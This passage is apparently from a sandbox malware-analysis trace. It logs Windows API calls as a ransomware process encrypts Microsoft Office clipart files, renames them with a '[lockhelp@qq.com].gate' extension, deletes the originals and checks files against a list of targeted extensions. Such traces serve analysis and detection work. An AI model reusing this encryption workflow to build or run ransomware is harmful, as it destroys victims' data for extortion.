Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0282.505] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.506] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0282.506] GetLastError () returned 0x0 [0282.506] ReadFile (in: hFile=0x3d0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x138c, lpOverlapped=0x0) returned 1 [0282.690] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1390, lpOverlapped=0x0) returned 1 [0282.691] ReadFile (in: hFile=0x3d0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.691] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.691] SetEndOfFile (hFile=0x404) returned 1 [0282.691] CloseHandle (hObject=0x404) returned 1 [0282.692] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.692] SetEndOfFile (hFile=0x3d0) returned 1 [0282.694] CloseHandle (hObject=0x3d0) returned 1 [0282.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0282.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0282.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0282.695] lstrlenW (lpString=".doc") returned 4 [0282.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.695] lstrlenW (lpString=".docx") returned 5 [0282.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.695] lstrlenW (lpString=".pdf") returned 4 [0282.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.695] lstrlenW (lpString=".xls") returned 4 [0282.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.695] lstrlenW (lpString=".xlsx") returned 5 [0282.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.695] lstrlenW (lpString=".ppt") returned 4 [0282.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0282.695] lstrlenW (lpString=".zip") returned 4 [0282.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.695] lstrlenW (lpString=".rar") returned 4 [0282.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.696] lstrlenW (lpString=".bz2") returned 4 [0282.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.696] lstrlenW (lpString=".7z") returned 3 [0282.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0282.696] lstrlenW (lpString=".dbf") returned 4 [0282.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0282.696] lstrlenW (lpString=".1cd") returned 4 [0282.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0282.696] lstrlenW (lpString=".jpg") returned 4 [0282.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0282.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0282.696] lstrlenW (lpString=".doc") returned 4 [0282.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.696] lstrlenW (lpString=".docx") returned 5 [0282.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.696] lstrlenW (lpString=".pdf") returned 4 [0282.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.696] lstrlenW (lpString=".xls") returned 4 [0282.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.696] lstrlenW (lpString=".xlsx") returned 5 [0282.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.696] lstrlenW (lpString=".ppt") returned 4 [0282.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0282.696] lstrlenW (lpString=".zip") returned 4 [0282.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.697] lstrlenW (lpString=".rar") returned 4 [0282.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.697] lstrlenW (lpString=".bz2") returned 4 [0282.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.697] lstrlenW (lpString=".7z") returned 3 [0282.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0282.697] lstrlenW (lpString=".dbf") returned 4 [0282.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0282.697] lstrlenW (lpString=".1cd") returned 4 [0282.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0282.697] lstrlenW (lpString=".jpg") returned 4 [0282.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.697] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.697] lstrlenW (lpString="BD00160_.WMF") returned 12 [0282.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0282.698] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=22516) returned 1 [0282.698] CloseHandle (hObject=0x3d0) returned 1 [0282.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220 [0282.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0282.698] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.698] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0282.699] GetLastError () returned 0x0 [0282.699] ReadFile (in: hFile=0x3d0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x57f4, lpOverlapped=0x0) returned 1 [0282.842] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x5800, lpOverlapped=0x0) returned 1 [0282.843] ReadFile (in: hFile=0x3d0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.843] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.843] SetEndOfFile (hFile=0x404) returned 1 [0282.843] CloseHandle (hObject=0x404) returned 1 [0282.844] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.844] SetEndOfFile (hFile=0x3d0) returned 1 [0282.847] CloseHandle (hObject=0x3d0) returned 1 [0282.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0282.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0282.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0282.848] lstrlenW (lpString=".doc") returned 4 [0282.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.848] lstrlenW (lpString=".docx") returned 5 [0282.848] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.848] lstrlenW (lpString=".pdf") returned 4 [0282.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.848] lstrlenW (lpString=".xls") returned 4 [0282.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.848] lstrlenW (lpString=".xlsx") returned 5 [0282.848] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.848] lstrlenW (lpString=".ppt") returned 4 [0282.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0282.848] lstrlenW (lpString=".zip") returned 4 [0282.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.848] lstrlenW (lpString=".rar") returned 4 [0282.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.848] lstrlenW (lpString=".bz2") returned 4 [0282.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.848] lstrlenW (lpString=".7z") returned 3 [0282.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0282.848] lstrlenW (lpString=".dbf") returned 4 [0282.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0282.848] lstrlenW (lpString=".1cd") returned 4 [0282.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0282.848] lstrlenW (lpString=".jpg") returned 4 [0282.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0282.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0282.849] lstrlenW (lpString=".doc") returned 4 [0282.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.849] lstrlenW (lpString=".docx") returned 5 [0282.849] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.849] lstrlenW (lpString=".pdf") returned 4 [0282.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.849] lstrlenW (lpString=".xls") returned 4 [0282.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.849] lstrlenW (lpString=".xlsx") returned 5 [0282.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.849] lstrlenW (lpString=".ppt") returned 4 [0282.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0282.849] lstrlenW (lpString=".zip") returned 4 [0282.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.849] lstrlenW (lpString=".rar") returned 4 [0282.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.849] lstrlenW (lpString=".bz2") returned 4 [0282.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.849] lstrlenW (lpString=".7z") returned 3 [0282.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0282.849] lstrlenW (lpString=".dbf") returned 4 [0282.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0282.849] lstrlenW (lpString=".1cd") returned 4 [0282.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0282.849] lstrlenW (lpString=".jpg") returned 4 [0282.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.850] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.850] lstrlenW (lpString="BD06102_.WMF") returned 12 [0282.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.865] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=16112) returned 1 [0282.865] CloseHandle (hObject=0x4b4) returned 1 [0282.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220 [0282.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0282.881] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.881] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0282.883] GetLastError () returned 0x0 [0282.883] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x3ef0, lpOverlapped=0x0) returned 1 [0283.272] WriteFile (in: hFile=0x394, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x3f00, lpOverlapped=0x0) returned 1 [0283.273] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.273] WriteFile (in: hFile=0x394, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.273] SetEndOfFile (hFile=0x394) returned 1 [0283.280] CloseHandle (hObject=0x394) returned 1 [0283.290] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.290] SetEndOfFile (hFile=0x4b0) returned 1 [0283.311] CloseHandle (hObject=0x4b0) returned 1 [0283.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0283.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0283.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0283.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0283.312] lstrlenW (lpString=".doc") returned 4 [0283.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.312] lstrlenW (lpString=".docx") returned 5 [0283.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.312] lstrlenW (lpString=".pdf") returned 4 [0283.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.313] lstrlenW (lpString=".xls") returned 4 [0283.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.313] lstrlenW (lpString=".xlsx") returned 5 [0283.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.313] lstrlenW (lpString=".ppt") returned 4 [0283.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0283.313] lstrlenW (lpString=".zip") returned 4 [0283.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.313] lstrlenW (lpString=".rar") returned 4 [0283.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.313] lstrlenW (lpString=".bz2") returned 4 [0283.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.313] lstrlenW (lpString=".7z") returned 3 [0283.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0283.313] lstrlenW (lpString=".dbf") returned 4 [0283.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0283.313] lstrlenW (lpString=".1cd") returned 4 [0283.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0283.313] lstrlenW (lpString=".jpg") returned 4 [0283.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0283.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0283.314] lstrlenW (lpString=".doc") returned 4 [0283.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.314] lstrlenW (lpString=".docx") returned 5 [0283.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.314] lstrlenW (lpString=".pdf") returned 4 [0283.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.314] lstrlenW (lpString=".xls") returned 4 [0283.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.314] lstrlenW (lpString=".xlsx") returned 5 [0283.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.314] lstrlenW (lpString=".ppt") returned 4 [0283.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0283.314] lstrlenW (lpString=".zip") returned 4 [0283.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.314] lstrlenW (lpString=".rar") returned 4 [0283.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.314] lstrlenW (lpString=".bz2") returned 4 [0283.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.314] lstrlenW (lpString=".7z") returned 3 [0283.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0283.314] lstrlenW (lpString=".dbf") returned 4 [0283.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0283.314] lstrlenW (lpString=".1cd") returned 4 [0283.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0283.315] lstrlenW (lpString=".jpg") returned 4 [0283.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.315] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0283.315] lstrlenW (lpString="BD08773_.WMF") returned 12 [0283.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0283.315] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=24778) returned 1 [0283.315] CloseHandle (hObject=0x4b0) returned 1 [0283.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220 [0283.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0283.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0283.316] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: 